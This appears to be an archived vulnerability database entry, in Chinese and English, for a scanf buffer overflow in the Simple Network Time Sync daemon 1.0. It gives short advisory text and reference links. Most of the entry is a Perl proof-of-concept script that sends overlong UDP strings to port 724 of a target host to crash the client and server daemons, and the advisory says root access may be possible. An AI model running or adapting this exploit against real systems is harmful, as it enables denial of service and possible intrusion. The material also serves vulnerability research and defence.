https://www.exploit-db.com/exploits/19978
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200006-008

TimeSync守护进程存在缓冲区溢出漏洞。远程攻击者借助超长字符串导致拒绝服务或执行任意命令。

source: http://www.securityfocus.com/bid/1289/info

A scanf overflow has been discovered in the Simple Network Time Sync daemon and client version 1.0. Currently the buffer overflow has been tested on RedHat 6.1. It may be possible to obtain root, although it appears one only has 50 characters to run code with.

#!/usr/bin/perl -w
#
# Usage: ./kill_sntsd <hostname>
#

use Socket;

send_packet(); # Needs to send 2 packets to kill the client and the server 
daemons
send_packet();

sub send_packet {

$proto = getprotobyname('udp');
$localaddr = gethostbyname("localhost") || die "error: $!n";
$iaddr = gethostbyname($ARGV[0]) || die "$!n";
$sin = sockaddr_in(724, $iaddr);
$paddr = sockaddr_in(53, $localaddr);
socket(SH, PF_INET, SOCK_DGRAM, $proto);
bind(SH, $paddr);

$|=1;

connect(SH, $sin) || die "$!n";

# A string longer than 50 characters...
print SH "logistixlogistixlogistixlogistixlogistixlogistixlogistixn";
close(SH);

}

来源:XF
名称:timesync-bo-execute
链接:http://xforce.iss.net/static/4602.php
来源:VULN-DEV
名称:20000601VulnerabilityinSNTS
链接:http://archives.neohapsis.com/archives/vuln-dev/2000-q2/0843.html
来源:BID
名称:1289
链接:http://www.securityfocus.com/bid/1289